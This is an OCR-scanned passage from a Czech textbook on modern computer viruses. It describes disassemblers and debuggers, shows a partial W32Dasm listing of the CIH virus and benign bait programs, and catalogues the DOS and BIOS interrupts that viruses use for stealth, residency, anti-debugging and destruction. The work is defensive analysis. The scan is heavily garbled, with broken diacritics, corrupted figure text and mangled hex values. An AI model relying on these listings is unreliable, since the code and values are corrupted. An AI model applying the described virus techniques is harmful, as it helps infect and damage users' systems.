35ea:B010 ax,ax
....oditsz.a.p.c =3
f lags 1111801008606006 18 ax

di,3693
BB82368h si,[21]

stack: B784 £f7Zh si,di
l088fed1 =i,1888

8372 BezZf
l8@8he =i,1888
fa i

d78e ss,di

BZZecdB81 z=p,B2Ze

call exec C:MNDOSWDEBUG.EXE run param: B7ac:B58f
call undef ined

call ioctl get handle B

call ioctl set handle B 8143

call ioctl get handle 1

call ioctl set handle 1 8143

call get DOS version

call get vector B3

call get vector A1

call get psp address

call zet interrupt vector 22 35ec:834f
call get vector 24

call zet interrupt vector 24 35ec:8317
call zet interrupt vector 23 35ec:838a
call create program segment 3b88

call set dta 3h88:0088

call undef ined

call parse filename 81

call get switchar

call parse filename 81

call get switchar

Obrdzek 38: Quaid Analyzer — posloupnost volanych sluZeb
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o Disassembler - zpétny prekladac

Staticky zpétny prekladad je program, slouZici ke zpétnému inZengrstvi, tj. k pfevodu binar-
niho tvaru programu do zdrojového tvaru. Patrné nejpopularnégjsi a nejlepsi zpétng prekladac
je Sourcer. Sourcer umoziuje disassemblovat jak programy, tak i jejich pfekryvné moduly &
ovladace zafizeni. Mozny je i pfeklad obecného binarniho tvaru. Vgsledek je mozno volit bud
ve zdrojovém tvaru ASM ¢&i ve tvaru LST a SDF. Soubor LST obsahuje vlastni ,LiSTing“
zdrojového programu; soubor SDF (Sourcer Definition File) popisuje nastaveni pfislusngch
voleb zpétného prekladu, definici pouzZitych rozsahti a odkazti proménngch, navésti, segmen-
th atd. MoZnosti Sourceru jsou bohaté. Uzivatel muZe zvolit irovent okomentovani jednotli-
vych instrukei, coZ méa vyznam pfedevsim pii volani sluzeb programovgch prerueni. Dale ma
moznost zapnout ¢i vypnout popis kiizovych referenci, pouziti jednotlivich Gdajii a moznost
iroké 8kaly voleb analyzy kédu pii vlastnim zpétném piekladu (offsetovy analyzator, regist-
rové indexace apod.).

EUR‘SOH W3A2Dasm VYer .93 Program DisassemblerfDebugger

Disassembler Project Debug  Search Goto  Executz Text Functions HexDota Refs  Help

-
£ Start of Code in Object FEEFrsdxstrsss _I
Program Entry Point = 00400240 (cih.exe File Offset:00000240)
:00401000 &I insd _I
:00401001 7270 Jub 004010732
100401003 &1 popad
100401004 E96E74ZEEET7EEE imual ebp, dword ptr [esit+74], E578E65ZE
:0040100E OO0 EYTE 0O
:0040100C 55 push ebp
100401000 ZSBEC mow ebp, esp
:0040100F S3EC44 sub esp, 00000044
100401018 56 push esi

* Beference To: EEPNELZEZ. GetCommandLined, Ord:00BECh
|

100401012 FFlEECzZ04000 Call dword ptr [00402Z05C]
100401012 2BFO mov esi, eax

:0040101E 2400 wov al, byte ptr [eax]
100401010 2CEZ cmp al, EZ

:0040101F 7513 Jrne 00401034

* Beferenced by a (Uinconditional or (Clonditional Jump at Address:
| :004010ZA(C)
|

00401021 46 inc esi

10040102 BROE wow al, byte ptr [esi]
100401024 24C0 test al, al

:00401026 7404 je 0O04010EZC

100401028 2CEZ cmp al, EZ

:0040102A 7EFE jrne 00401021

| Line:45 Pg 1 of B File:cih.exe

Obrézek 39: W32Dasm — analyza viru CIH



@ Moderni pocitacové viry Podstata, prevence, ochrana

Prikladem 32bitového nastroje pro praci ve Windows je W32Dasm — disassembler a de-
bugger v jednom. Podporovan je i disassembling starého 16bitového kédu. Ladéni knihoven
DLL je samoziejmosti, praci lze organizovat pomoci projektti. K dalsim uZite¢ngm néastrojiim
patti debugger Soft-ICE a komplexni Hacker’s View, mj. podporujici analjzu modultt Nove-
llu NLM.

e Virove léecky

V souvislosti s problematikou anal{zy virti je potfeba si uvédomit, Ze télo viru se nikdy nevy-
skytuje samostatné, ale vzdy s hostitelskym programem. Z tohoto diivodu neni vhodné pro
analyzu viru pouzit napt. zavirované jadro systému Windows 3.11, tj. program win.com, ale
mit pro tyto Gely k dispozici pfipravené ,virové lapace“, tedy kratké programky, na které
aktivni virus ,,chytime“. Soucasné je vhodné mit k dispozici separatni verze téchto lapacl jak
pro COM, tak i pro programy EXE. Nasledujici uvedené programy mohou byt pravé jedné-
mi z takovych virovjch lapact. Zdrojovy kod je v tomto piipadé uveden i se véemi néleZitost-
mi, potfebnymi pro uspésng preklad programem TASM.

Lapa¢ COM:
Code segment byte

assume cs:Code, ds:Code

org 100h ; poCatek programu COM
start:

jmp go

db  600h dup (?) ; velikostni vypln
go:

int 20h ; ukonceni programu COM
Code ends

end start
Lapac¢ EXE:
Code segment byte

assume cs:Code, ds:Code
start:

Jjmp go

db  600h dup (7) ; velikostni vypln
go:

mov ax,4c00h ; ukoncenf

int 21h ; programu EXE
Code ends

end start

Hodnotu velikostni vyplné v piikazu db je mozno pochopitelné upravit vlastnim pozadav-
kim. Idea spociva ve skute€nosti, Ze znalna cast pocitacovych virti se vyhgba napadeni ve-
likostné miniaturnich program.
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U uvedengch virovych lapact je pak analjza zachyceného viru podstatné snazsi nez u pro-
gramt mohutngch.

Popis operaéniho systému, ladici program pro dynamickou analfzu a zpétny pirekladac
pro statickou analyzu virového kédu tvoii zékladni, nezbytng souhrn pomticek programaéto-
ra pro praci s viry. Neni snad ani potfeba zdUraziovat, Ze z bezpetnostnich divodi musi byt
podita¢ virologa naprosto izolovan od svého okoli.

2, Nejfrekventovanéjsi virova preruseni

Z&kladem veskerého systémového déni na pocitadi jsou preruseni (interrupts). S kazdou systé-
movou akci, jako je napf. stisk klavesy ¢i ¢teni z disku, jsou vyvolavana pfislusna softwarova ne-
bo hardwarova prerueni. V operaénim systému MS-DOS existuji dva zakladni druhy pferuse-
ni — pferudeni BIOSu a MS-DOSu. Obsluhy pferuseni BIOSu jsou uloZeny v paméti ROM na
zakladni desce pocitace. Pferuseni Dosu vytvaii samotng operalni systém MS-DOS v okamzi-
ku svého zavadéni po zapnuti pocitace.
Pocitacove viry vyuZivaji vybrana preruseni dvéma rizngmi zpusoby:
¢ Forma volani preruseni
Typicky zpusob pouZiti pferuseni bézné uzivany jakgmkoliv druhem programu. Viry pouZivaji
bud pfiméa volani prerueni instrukci int nebo nepfimé volani instrukci call adresa_obslu-
hy_pferuseni pro zamezeni zachyceni volani pfipadnymi antivirovgmi rezidentnimi hlidaéi.
V tomto pfipadé viry Casto hledaji vstup originalnich rutin pfimo v ROM-BIOSu (tunelujici viry).
¢ Forma vlastni virové obsluhy pferuseni
Vlastni obsluhu pferuseni vyuZivaji zejména viry rezidentni. Vskyt této techniky u virtt nere-
zidentnich je sporadicky, opodstatnény jen ve specifickych ptipadech (obsluha kritické chyby
Dosu pfi procesu infikace apod.). K tomu, aby rezidentni viry mohly aktivné monitorovat
chod operalniho systému pro zajisténi své prezentaéni a replika¢ni Cinnosti, musi vytvaret
praveé vlastni uzivatelské obsluhy pfislusngch preruseni. Viry vytvaii obsluhy jednotlivich pre-
rudeni bud zcela ve své rezii bez volani originalni systémové obsluhy nebo dovytvaii volani
originalni obsluhy svoji pfidavnou ¢innosti. Pruni ptipad sk{ta nebezpedi, Ze innost jiz spus-
téngch rezidentnich programt muize byt virem znemoznéna.

Ridkym, le¢ velice zajimavym, je mechanismus nékolika vir(l, jez vytvéteji dvé rtizné obslu-
hy pro jedno pferuseni. Piikladem je virus Nomenklatura, kterg vytvaii dvé obsluhy pro pte-
rudeni int 13h. Pruni obsluha je hlavni destruktivni rutinou, provadéjici pfehozeni dvou néa-
hodné vybranych vstupnich polozek v tabulce FAT, ktera je aktivni pouze v dobé, kdy je virus
pfitomen v paméti, ale neinfikuje Zadng soubor. Druhé obsluha je aktivovana, dochézi-li k in-
viry dosahuji prostfednictvim nastaveni semaforu, blokujiciho destruktivni akce p¥i procesu
infikace (patch do kédu obsluhy preruseni).
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2.1. Volani BIOSu a dokumentovanych sluzeb Dosu

Preruseni ROM-BIOSu a dokumentované sluzby Dosu patii ke standardu operaéniho systému
MS-DOS a plati pro né, Ze s vyssi verzi MS-DOSu z diivodt systémové kompatibility smérem
dolii ztstavaji zachovéany. Cislo sluzby daného pferuseni je ulozeno v registru AH.

¢ Int 01h: Krokovani (Single-step) (BIOS)
Je-li nastaven pfiznak procesoru TF (Trap Flag), provadi se toto pferuseni po kazdé instruk-
ci a je pouzivano zejména debuggery. Viry, které se aktivné brani analyze svého téla, pfe-
smérovavaji obsluhu int 03h na své télo a tim ztéZuji virovou analjzu.

¢ Int 03h: Bod pferuseni (Breakpoint) (BIOS)
Vektor int 03h je pouZivan pfi ladéni k zastaveni na uZivatelem zvolené adrese. Operacni kéd
breakpointu je jeden bajt dlouhy (Occh) a nékteré viry provadéji kontrolu kédu na pfitomnost
breakpointu, jehoz zjisténi mize vést ke spusténi destruktivni rutiny. Virus One Half pfi zjis-
téni breakpointu konéi v nekoneéné smycce:
cmp byte ptr cs:[si], Occh ; je to breakpoint?

1b1:
je 1b1 ; pokud ano, nekonecna smycka

e Int 08h: Casova& (Timer) (BIOS)

Toto hardwarové generované preruseni (IRQ 0) se provadi po kazdém taktu hodin realného
Casu. Takt probéhne kazdych 55 ms, coz je asi 18,2 taktl za sekundu. Standardni rutina
ROM-BIOSu pfi tomto preruSeni zvysi hodnotu hodin na adrese 0:046c¢. Viry pouzivaji ¢a-
soval zejména pro generator pseudonahodngch &isel (polymorfni viry) nebo jako Casovou
rozbudku pro spusténi destruktivni rutiny. Virus SVC napt. prostfednictvim ¢asovace hlida
zménu obsluhy ladicich pferuSeni a v okamZiku, kdy takto zjisti pfitomnost debuggeru, pro-
vadi reset pocitace.

¢ Int 09h: P¥eruseni klavesnice (BIOS)

Toto hardwarové generované pieruseni (IRQ 1) se provadi pfi kazdém stisku a uvolnéni kla-
vesy. Rutina ROM-BIOSu interpretuje klavesu a uschova hodnoty do zasobniku (bufferu) kla-
vesnice na adrese 0:041e. Os3etfuje také specidlni klavesy, jakou je napt. PrtSc. Rezidentni
programy pouzivaji prerueni z klavesnice pro svoji aktivaci stiskem ,horké klavesy“ (hot
key), potitatové viry pro své destruktivné zaméfené aktivaéni rutiny. Uzka skupina virti za-
chycuje prostfednictvim int 09h stisk klaves Ctrl+Alt+Del a simuluje proces zavedeni operac-
niho systému se zachovanim aktivity virového téla v paméti pocitace.

¢ Int 13h: Diskové V/V-operace (Disk Input/Output) (BIOS)
Jedno z Kklicovgch preruseni fady pocitacovych virQ. Prosttednictvim int 13h dochazi k repli-
kaci bootovacich viri, pro zna¢nou ¢&ast virli pferudeni slouzi i k destruktivnim rutinam (for-
matovani, zména zapisového bufferu apod.). Nejéastéji monitorované sluzby (obsah registru
AH) jsou 00h (reset fadice), 02h (¢teni sektortl) a 03h (zapis sektor).
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Parametrické obsazeni registril procesoru:

Sluzba 00h - rekalibrace (reset) diskového radice
Vstup: DL = &islo disku (0 = disk A:, 1 = disk B:, 80h = 1.pevny disk, 81h = 2.pevny disk)
Sluzba 02h - cteni sektora
Vstup: DL = &islo disku (0 = disk A:, 1 = disk B:, 80h = 1.pevny disk, 81h = 2.pevny disk)
DH = &islo hlavy
CH = &islo stopy (cylindru)
CL = &islo sektoru
AL = pocet sektortl (hodnota pro jeden cylinder)
ES:BX => adresa bufferu volajiciho programu pro nactené sektory

Fyzicka adresa prvniho sektoru na disku je 0.hlava, 0.stopa a 1.sektor.
Hodnoty sektoru a cylindru jsou 6bitové a 10bitové: nejvyssi dva bity CL tvoti horni bity
cylindru spolu s obsahem CH. Spodnich Sest bitti CL tvofi hodnotu sektoru.
Vystup:  Pri viskytu diskové chyby se nastavi chybovy pfiznak (Carry Flag — CF), vlastni kod
chyby je v AH
Buffer na adrese ES:BX obsahuje data ptectena z disku

Sluzba 03h - zapis sektoru
Vstup:  stejng, jako u vise uvedené funkce 02h
ES:BX => adresa bufferu dat, uréengych k zapisu na disk.

Vystup: stejng, jako u vi3e uvedené funkce 02h

Int 16h: Sluzby klavesnice (BIOS)

Tato sluzba poméahéa obsluhovat klavesnici na aplika¢ni trovni. Klavesy jsou o$etfovany ne-
zavisle na aplikaci. P¥i stisku klavesy se provede jeji zpracovani pomoci int 09h a zatadi se
do kruhové fronty stisknutych klaves.

Int 17h: Obsluha tiskarny (BIOS)
Sluzby obsluhy tiskarny umoziuji pfistup k paralelnim porttm tiskarny (LPT1 atd.). Pro viry
slouZi zejména jako soucast destruktivnich rutin.

Int 1ah: Casové V/V-operace (BIOS)

Pristup k systémovym hodinédm, jenZ je viry vyuzivan v destruktivnich rutinach a v rutinach
pro uréeni pseudonahodného ¢&isla (sluzba 00h podéava v registrech CX a DX z hlediska virt
~pseudonahodnou” informaci o poctu tikl Casovace od startu pocitace).

Int 1ch: UZivatelsk{ ¢asovac (User Timer) (BIOS)

Vyssi, aplikaéni, troven Casovace nez v piipadé int 08h. Obsluha zpocatku je jen fiktivni
a obsahuje pouze instrukci iret. Uzivatelsk§ program méa moZnost pfesmérovat tento vektor
na vlastni rutinu. Vétina rezidentnich programii vak radéji zachycuje p¥imo vektor int 08h,
kdy rezidentni jadro voléa originalni obsluhu a potom provede svou ¢asové vazanou operaci,
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nebot BIOS jiz (na rozdil od int 1ch) dokonéil své vlastni operace. Viry vyuZivaji uZivatelsky
Casoval pro detekci systémovych zmén (napf. zména prerusovacich vektortl) apod.

¢ Int 20h: Ukonéeni programu (DOS)
Toto prerueni je uzivano k opusténi programu a navraceni fizeni nadfizenému procesu, kte-
rgm obvykle biva ptikazovy interpret COMMAND.COM. Pti ukonéeni programu musi registr
CS obsahovat hodnotu PSP, a proto je toto pferuSeni nejastéji uzivano programy *.COM,
u nichzZ je tato podminka splnéna automaticky.

¢ Int 21h: Sluzby jadra MS-DOSu (DOS)
StéZejni systémové preruseni, hojné vyuZivané i zneuZivané vétsinou pocitacovych virt.
Nasledujici vgcet zachycuje sluzby Casto vyuzivané viry. Cislo dané sluzby je tvofeno obsahem
registru AH.

Sluzba Ofh - otevieni souboru pres FCB
Vstup: DS:DX => adresa neotevieného FCB (File Control Block)
Vystup: AL = 0 (je-li soubor otevien bez chyby a FCB Gspésné doplnén)
Offh (nastala chyba a soubor nelze otevfit)
Sluzba 10h - uzavfeni souboru pf¥es FCB
Vstup: DS:DX => adresa otevieného FCB
Vistup: AL = 0 (je-li soubor uzavten bez chyby)
Offh (neni-li soubor tam, kde byl pfi otevieni funkci Ofh)
Sluzba 11h - nalezeni prvniho souboru pres FCB
Vstup: DS:DX => adresa neotevieného FCB (nézev souboru miize obsahovat otazniky)
Vystup: AL = 0 (byl-li nalezen odpovidajici soubor a DTA je naplnéna)
Offh (nebyla nalezena zadna shoda)
Sluzba 12h - nalezeni dalsiho souboru pies FCB
Vstup:  DS:DX => adresa neotevieného FCB (nazev souboru mtize obsahovat otazniky)
Vygstup: AL = 0 (byl-li nalezen odpovidajici soubor a DTA je naplnéna)
0Offh (nebyla nalezena zadna shoda)
Sluzba 12h se pouziva v kombinaci se sluzbou 11h, ktera je volana jako prvni.
FCB operace monitoruji zejména stealth viry za G¢elem maskovani délky souboru (funkce
FCB vola napt. ptikaz dir).
Sluzba 1lah - nastaveni pfenosové adresy disku (DTA)
Vstup: DS:DX => adresa DTA
Vystup: Nic
Na bazi DTA probihaji sluzby pouzivajici FCB.

Sluzba 25h - nastaveni vektoru preruseni
Vstup: AL = &islo preruSeni

DS:DX => vektor preruSeni: adresa kodu pro obsluhu preruseni
Vgstup: Nic
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Sluzba provadi stejnou &innost, jako je uloZeni 4bajtové adresy na 0000:(AL*4). Rozdil
je v tom, Ze MS-DOS vi o dané ¢innosti a béhem ukladani neprovede Za4dné hardwarové
preruseni.
Sluzba 2ah - zjisténi systéemového data Dosu
Vystup: AL = den v tydnu (0 — nedéle, 1 — pondéli, ..., 6 — sobota)
CX = rok (1980 az 2099)
DH = mésic (1 az 12)
DL =den (1 az 31)
Sluzba 2fh - zjisténi pfenosové adresy disku (DTA)
Vygstup: ES:BX => adresa pocéatku nastavené DTA
Sluzba 30h - zjisténi Cisla verze Dosu
Vistup: AL = hlavni &islo verze

vvvvv

BX,CX = 0000h pro verze od Dosu 3.0 a vise

Je-li nap¥. pfitomna verze Dosu 5.0, v AL se vrati 5 a v AH se vrati 0. Rada virti i bezngch
programu zji$tuje pomoci tohoto volani kompatibilitu svého kédu s aktualni verzi Dosu na
pocitadi.
Sluzba 31h - skondi a zustan rezidentni (KEEP)
Vstup: AL = vystupni kod
DX = velikost paméti, ktera ma zlistat rezidentni v 16bajtovych paragrafech
Vistup: Nic
Tato sluzba nahrazuje preruSeni int 27h, které nevraci vistupni kdd a neni schopno instalo-
vat rezidentni programy vétsi nez 64 kB.
Sluzba 35h - zjisténi vektoru pferuseni
Vstup: AL = &islo preruseni (00h az Ofth)
Vystup: ES:BX => adresa obsluhy pteruseni
Sluzba vraci hodnotu vektoru pferuSeni pro vektor int (AL); tj. naplni BX hodnotou
0000:[AL*4] a ES hodnotou 0000:[(AL*4)+2].
Sluzba 3ch - vytvofeni souboru (create) pres rukojet (file handle)
Vstup: DS:DX => adresa fetézce ASCIIZ se jménem souboru
CX = atributy souboru
Vistup: AX = kéd chyby (je-li nastaven chybovy ptiznak CF)
AX = rukojef souboru (nebyla-li chyba)
Hodnota DS:DX ukazuje na ASCIIZ fetézec ve tvaru ,d:\path\filename*“,0 ; neni-li uveden
disk a/nebo cesta, jsou pouzity pfedem nastavené hodnoty.
Sluzba 3dh - otevieni souboru (open) pi¥es rukojef (file handle)
Vstup: DS:DX => adresa fetézce ASCIIZ jména souboru
AL = zplsob otevieni (mdod)
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Vystup: AX = kéd chyby (je-li nastaven chybovy ptiznak CF)
AX = rukojef souboru (nebyla-li chyba)
Zpusoby otevieni: AL = 0 otevfeni pro ¢teni, AL = 1 otevfeni pro zapis, AL = 2 otevfeni pro
Cteni i zapis.
Sluzba 3eh - uzavieni souboru (close) p¥es rukojet (file handle)
Vstup:  BX = rukojet souboru
Vistup: AX = kéd chyby (je-li nastaven chybovy ptiznak CF)
Sluzba 3fh - ¢teni ze souboru (read) p¥es rukojeft (file handle)
Vstup:  BX = rukojet souboru
DS:DX => adresa bufferu pro prectena data
CX = pocet ¢tengch bajtt
Vistup: AX = kdd chyby (je-li nastaven chybov( ptiznak CF)
AX = pocet skutetné ptettenych bajti (nebyla-li chyba)
Data jsou ¢tena z aktualni pozice ¢teciho/zapisovaciho ukazatele.

Sluzba 40h - zapis do souboru (write) pies rukojet (file handle)
Vstup:  BX = rukojet souboru

DS:DX => adresa bufferu obsahujiciho data pro zapis

CX = pocet bajtli pro zéapis
Vystup: AX = kéd chyby (je-li nastaven chybovy ptiznak CF)

AX = pocet skutené zapsanych bajti (nebyla-li chyba)
Data jsou zapisovana opét od aktualni pozice v souboru. Pfi ukonéeni operace dochazi
k aktualizaci ¢tectho/zapisovaciho ukazatele tak, Ze je pfipraven pro néasledujici sekvenéni
¢teni nebo zapis.

Sluzba 42h - nastaveni ukazatele v souboru (LSEEK)
Vstup:  BX = rukojet souboru
CX:DX = velikost posunu ukazatele v souboru: (CX * 65536) + DX
AL = 0 (posun ukazatele na zacatek souboru + CX:DX)
1 (posun ukazatele na aktualni pozici + CX:DX)
2 (posun ukazatele na konec souboru + CX:DX)
Vistup: AX = kdd chyby (je-li nastaven chybovy ptiznak CF)
DX:AX = nova pozice ¢tecitho/zapisovaciho ukazatele (nebyla-li chyba)
Volani s parametry CX = 0, DX = 0, AL = 2 vraci délku souboru v DX:AX. Skuteéna délka
je (DX * 65536) + AX.
Sluzba 48h - alokace paméti (zjisténi velikosti paméti)
Vstup:  BX = Z4dané mnozstvi paméti (v 16-ti bajtovich paragrafech)
Vygstup: AX = kéd chyby (je-li nastaven chybovy ptiznak CF)
BX = velikost volné paméti v paragrafech (nebyla-li chyba)
AX = segmentova adresa pfidéleného bloku (nebyla-li chyba)
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Sluzba alokuje (ptidéli) blok paméti dlouhy BX paragraf(i, a jeho segmentovou adresu vrati
v AX (blok zacina na adrese AX:0000).

Je-li alokace nelispésnéa, pak BX obsahuje maximalni moznou velikost pro alokaci v para-
grafech.

Bézna praxe pro zjisténi nejvétsiho volného bloku je pred volanim nastavit BX = OffffH.
Alokace neprojde, ale v BX se vrati nejvétsi mozna velikost pamétového bloku pro alokaci.
Tento trik provadi i nékteré souborové viry pfi procesu nelegélni rezidentni instalace.
Sluzba 4bh - spusténi/nahrani programu (EXEC)

Vstup: DS:DX => adresa ASCIIZ jména programu pro spusténi/nahrani
ES:BX => adresa EPB (EXEC Parameter Block)
AL = 0 (nahréni a spusténi — Kklasicky program)
3 (nahrani prekryvné Casti — overlay)
Vystup: AX = kéd chyby (je-li nastaven chybovy ptiznak CF)
EPB obsahuje dulezité udaje pro spusténi programu jako je napf. adresa ptikazového fadku
¢i adresa FCB. Pro fadu souborovgch virl je volani této sluzby impulsem pro jejich replikac-
ni ¢innost.
Sluzba 4ch - ukoncéeni programu (EXIT)
Vstup: AL = vistupni kéd (ERRORLEVEL)
Vistup: Nic
Rizeni je pfedano na adresu Terminate v PSP kongiciho programu. Vektory Ctrl+Break a kri-
tické chyby Dosu jsou vraceny na adresy z rodicovského PSP.

Sluzba 4eh - nalezeni prvniho souboru
Vstup: DS:DX => adresa ASCIIZ jména hledaného souboru (jméno miize obsahovat
divoké znaky “*" a ‘?’)
CX = atributy souboru, které se maji shodovat
Vistup: AX = kdd chyby (je-li nastaven chybov( ptiznak CF)
DTA je naplnéna daty (nebyla-li chyba)
MS-DOS hleda jméno prvniho souboru na disku a v adreséafi, kter§ vyhovuje jménu a atribu-
tu, a toto jmeéno a dalsi informace umisti na adrese DTA.

Sluzba 4fh - nalezeni dalsiho souboru
Vstup: DS:DX => adresa informace z pfedchoziho voléani sluzby 4eh
Vystup: AX = kdéd chyby (je-li nastaven chybovy ptiznak CF)

DTA je naplnéna daty (nebyla-li chyba)

DS:DX ukazuje bud’ na DTA nebo na buffer zkopirovang z DTA.
Sluzba 4th se vola po prvotnim volani sluzby 4eh. Obé sluzby pouzivaji zejména nerezident-
ni viry pfimé akce pfi procesu infikace viech soubortl pracovniho adresafe (maska *.COM
nebo * EXE).
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Sluzba 57h - zjisténi/nastaveni ¢asu/data souboru
Vstup: AL = 0 (pro zjisténi ¢asu/data souboru)
1 (pro nastaveni ¢asu/data souboru)
BX = rukojef souboru
CX = novy ¢as souboru (je-li AL = 1)
DX = nové datum souboru (je-li AL = 1)
Vystup: AX = kéd chyby (je-li nastaven chybovy ptiznak CF)
CX = Cas souboru
DX = datum souboru
Tvar Casu registru CX: 5 bitlt hodiny, 6 bitt minuty a 5 bitd sekundy/2.
Tvar data registru DX: 7 biti rok, 4 bity mésic a 5 bitt1 den.

Frekventovana sluzba vétsiny virti, které i po infikaci programu zachovévaji programu jeho
originalni datum a Cas vytvoteni resp. posledni aktualizace.

Sluzba 62h - zjisténi adresy Prefixu programového segmentu (PSP)

Vystup: BX = segmentova adresa PSP pravé spusténého programu

Vyuzit tuto sluznu lze pro ziskani parametrii piikazového tadku, prosttedi Dosu (MS-DOS
Environment) a viech dal$ich uzite¢nych informaci obsazenych v PSP.

¢ Int 24h: Obsluha kritické chyby (DOS)
Tento prerusovaci vektor je nastaven na adresu, ktera prevezme fizeni, jakmile ovladal zafi-
zeni Dosu objevi kritickou chybu (napf. pokus o zapis na chranénou disketu, pfistup k diske-
tové mechanice bez vloZené diskety, tisk na tiskarnu v rezimu off-line apod.).
¢ Int 25h/26h: Pfimé diskové operace ¢teni/zapis (DOS)
Prerugeni int 25h je pro &teni, int 26h pro zéapis. Cislo tvodniho sektoru neni v absolutnim
tvaru adresy (hlava, stopa, sektor), ale v absolutnim pofadovém ¢&islu Dosu, kter§ umoziuje
zépis na libovolny disk dosazitelny prostiednictvim BIOSu nebo nainstalovaného diskového
ovladace.
Vstup: AL = &islo disku (stejné jako u int 13h)
CX = pocet sektorli pro ¢teni/zéapis
DX = pocatedni sektor (logické &islo Dosu)
DS:BX => adresa bufferu dat
Od verze Dosu 4.0 pro rozsifené logické disky (partition) nad 32 MB plati nasledujici tiprava:
CX = Offfth (-1)
DS:BX => adresa 10bajtového paketu poZzadavku
DS:[BX+0] = pocatetni logicke &islo sektoru (DWORD)
DS:[BX+4] = pocet sektorti pro &teni/zépis (WORD)
DS:[BX+6] = offsetova ¢ast adresy bufferu dat (WORD)
DS:[BX+8] = segmentova East adresy bufferu dat (WORD)

V zéavorkach jsou uvedeny velikosti (datové typy) jednotlivich polozek.
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Vistup: P vgskytu diskové chyby se nastavi chybovy ptiznak (Carry Flag), vlastni kéd
chyby je v AX

Pozor! Po ukonéeni pferu$eni zistava v zasobniku 1 slovo.

e Int 27h: Skondi, ale zustan rezidentni (Terminate but Stay Resident) (DOS)
Klasicka metoda tvorby rezidentnich programt pomoci pferuseni, které ukon¢ovanému pro-
gramu ponechéa pfidélenou ¢ast paméti tak, Ze nasledné spusténé programy nepiepisi ukon-
Covany program ani data.

Vstup: DX = posledni adresa+1 pro uchovéani residentu (offset z PSP)
Vystup: Nic

o Int 2fh: Multiplexni p¥eruseni (DOS)

Pterugeni multiplexoru je vyuZivano fadou programt (zejména print, assign a share). Preru-
Seni je vyuZivano viry predevdim pro moznost ovladani horni paméti (High Memory Area)
prostfednictvim ovladaée HIMEM.SYS (sluzba AH = 43h).

¢ Int 41h: Tabulka parametri 1.pevného disku (je-li pfitomen) (BIOS)

¢ Int 46h: Tabulka parametra 2.pevného disku (je-li pfitomen) (BIOS)
Tabulka parametrii pevného disku je 16bajtova struktura, kterd se naléza na adrese vektoru
prerueni int 41h resp. int 46h. Tabulka popisuje fadu dulezitgch proménngch pro Zinnost
mechaniky pevného disku (maximalni pocet hlav, maximalni pocet cylindri atd.).

o Uzivatelska preruseni

ROM-BIOS a samotny operacni systém MS-DOS ponechévaiji z Gplné sady preruseni int 00h az
int ffh néktera pteruseni k dispozici uzivatelskgm aplikacim. Neni to Gplné nejstastnéjsi fe3eni,
nebof volnych preruseni neni mnoho a pravdépodobnost kolize dvou programt vyuZivajicich
stejné prerudeni je velka. Napt. virus Semtex vyuziva preruseni int 61h, coz mutize zplsobit ko-
lizi s FTP podporou TCP/IP. Proto i vétsina rezidentnich virti nevytvaii obsluhy uzivatelskgch
preruseni, ale pouze nové parazitni sluzby obsluh jiz existujicich, u nichZ je pravdépodobnost
kolize miziva.

2.2. Pouziti nedokumentovaného Dosu

Nedokumentovany DOS reprezentuji datové struktury a sluzby preruseni, jejichZ ,pteziti“ do
vyssi verze operaéniho systému neni tviirci MS-DOSu zaruéeno. PouZivani nedokumentovanych
zélezitosti by se mohlo jevit pro ptenositelnost aplikaci mezi dvéma odlisngmi verzemi operac-
niho systému MS-DOS jako velice nebezpelné, aviak trend trhu naopak nuti, resp. nutil, tvir-
ce operatniho systému k tomu, aby se ,nedokumentovanym® aplikacim pfizptsobili. Tento
trend umoZiuje v podstaté pouZivani téchto Gdajii bez vétsich obav, ¢emuZ se bohuzel prizpu-
sobuji i viry.
e Int 21h: Sluzby jadra MS-DOSu (DOS)
Je pochopitelné, Ze nedokumentované zalezitosti se tgkaji pravé volani sluzeb jadra Dosu —
prerudeni int 21h.
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Sluzba 52h - zjisténi seznamu seznamu (get list of lists)
Vystup: ES:BX => adresa na dosovy seznam seznamil.
Stézejni nedokumentovana sluzba vilbec. Seznam seznamu poskytuje Sirokou $kalu uzitec-
nych informaci. Vyznam jednotlivich polozek zavisi na konkrétni verzi MS-DOSu. Pro doso-
vé viry jsou nejzajimavéjsi nasledujici polozky:

[ES:BX-2] = segmentovéa adresa prvniho fidiciho bloku paméti (MCB) (WORD)
Adresa prvniho MCB je uZiteéna pro prochazeni alokovangch pamétovych bloku.

DOS 2.xa 3.0

[ES:BX+13h] = adresa prvniho diskového bufferu (DWORD)
DOS 3.1 az 3.3

[ES:BX+12h] = adresa prvniho diskového bufferu (DWORD)
DOS 4.x

[ES:BX+12h] = adresa hashovaného seznamu diskovgch bufferad (DWORD)

Diskovy buffer se pro nékteré viry stava mistem pro jejich netypickou rezidentni instalaci. UZi-
vatel v tomto pfipadé pfitomnost viru nemuiZze zaznamenat ibytkem volné paméti, nebot po-
Cet diskovich bufferti je pevné déan pii startu operaéniho systému pfikazem BUFFERS.

DOS 3.x
[ES:BX+22h] = adresa poc¢atku prvniho ovladaée zafizeni (NUL) (DWORD)

Vihodny Gdaj pro prochéazeni fetézce nainstalovanych ovladacli. Pomoci poc¢atku prvniho
ovladace lze ziskat z jeho hlavicky adresu ovladace nasledujiciho atd.

Viry, které pouzivaji sluzbu 52h skute¢né rozlisuji konkrétni verzi Dosu a umisténi dangch
poloZek o3ettuiji.

¢ Int 2fh: Multiplexni p¥eruseni (DOS)
[ pfesto, Ze multiplexni pferuSenti slouZi zejména pro fizeni tisku, umoziuji nékteré sluzby ne-
standardni manipulaci se soubory, vyuzivajice pfitom systémovych tabulek soubortt SFT (Sys-
tem File Tables) a JFT (Job File Table). Prostfednictvim rukojeti souboru lze zjistit &islo pii-
slusné SFT a odtud jeji adresu v paméti.

Viry zajimaji nésledujici polozky SFT platné od verze 3.0:

[SFT+02h] = méd otevieni souboru — 15.bit indikuje otevieni prostfednictvim FCB

(WORD)

[SFT+04h] = atribut souboru (BYTE)

[SFT+0dh] = ¢as souboru (WORD)

[SFT+0fh] = datum souboru (WORD)

[SFT+11h] = velikost souboru (DWORD)

[SFT+15h] = momentalni pozice (offset) v souboru (DWORD)

[SFT+20h] = jméno souboru v FCB tvaru (11 B - 8 B jméno + 3 B pfipona)
Kromé téchto polozek pro piimou manipulaci se souborem stoji za uvedeni polozka
[SFT+0bh] = pocateéni cluster souboru (WORD), zajimava pro adresarové viry.
Datum a Cas je ve stejném tvaru jako u sluzby 57h preruSeni int 21h.
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Sluzba 1220h - zjisténi ¢isla SFT
Vstup:  AX =1220h
BX = rukojef souboru (file handle)
Vystup: AL = 6 (chybna rukojef souboru) (je-li nastaven chybovy pfiznak CF)
